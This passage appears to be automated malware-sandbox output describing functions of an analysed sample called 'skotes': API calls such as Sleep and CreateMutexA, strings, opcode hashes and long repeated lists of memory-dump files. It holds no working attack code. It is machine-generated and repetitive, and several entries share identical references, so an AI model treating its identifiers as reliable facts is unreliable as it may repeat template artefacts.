API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 62b2d58941b8139566ecea4145f206e7d681d9e163def1bb261b2a4997926b53
Instruction ID: 257666dd3f146fcd24c659d290770657df277a65581cca207aabe5fe51e311c4
Opcode Fuzzy Hash: 62b2d58941b8139566ecea4145f206e7d681d9e163def1bb261b2a4997926b53
Instruction Fuzzy Hash: 3A312331620201CBEB08DBB8DD89B6DB7B6EF82320F248619E415A72D5C77599E08A52

Function 00269ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: daf883401374953f4a8787ad3113ccc77fb28e93878c6d159acf110d338d3251
Instruction ID: fed4d106dceb946eb9d1eb48f474e4fa426c51feb84664319c988afbdd6ee22f
Opcode Fuzzy Hash: daf883401374953f4a8787ad3113ccc77fb28e93878c6d159acf110d338d3251
Instruction Fuzzy Hash: E0216A31664201DBFB189F68EC89B6CB365EFC1310F20421DE508E72D5CB755DE08B12

Function 0026A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: c41893a20559bef8b98b3e1ba02e6d51920d0f9a542a2cfed5a148225954d81b
Instruction ID: 9b3034d3d1e4084bdd0d9e62fae3323b3cd1676c821566e57776e496c7f89818
Opcode Fuzzy Hash: c41893a20559bef8b98b3e1ba02e6d51920d0f9a542a2cfed5a148225954d81b
Instruction Fuzzy Hash: 74214231275202D6FB145B68985AB7D7251EFC2314F244C16E508F72D1CB7659F18D93

Function 0026A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 572d60a413418cb909f9ca08c3588533de8759b4a257aae13a9143fe67f38a0c
Instruction ID: cccf9e21e8beb5a0474f45e8d32a3ad4baa584480aa4dceaabd110fdeaa04da8
Opcode Fuzzy Hash: 572d60a413418cb909f9ca08c3588533de8759b4a257aae13a9143fe67f38a0c
Instruction Fuzzy Hash: CE216A32261201DBFB089B68EC89B6CB775DFC2310F20821DE508A77D4C7755AE08A53

Non-executed Functions

Function 0029CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0029CC66

Strings

v), xrefs: 0029CBE1

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v)
API String ID: 3213747228-3756446336
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 66550e2d0133cd2fa17909573d2ddcac394c55d298103f849a1d3249cd16b233
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 41B11472D242869FDF15CF28C8817AEBFE5EF49340F3441AAE895EB242D6348D11CB60

Function 00262EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00262F5F
__Mtx_unlock.LIBCPMT ref: 00262FCC
__Cnd_broadcast.LIBCPMT ref: 00262FE3
__Mtx_unlock.LIBCPMT ref: 002630F5
__Mtx_unlock.LIBCPMT ref: 0026319B

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
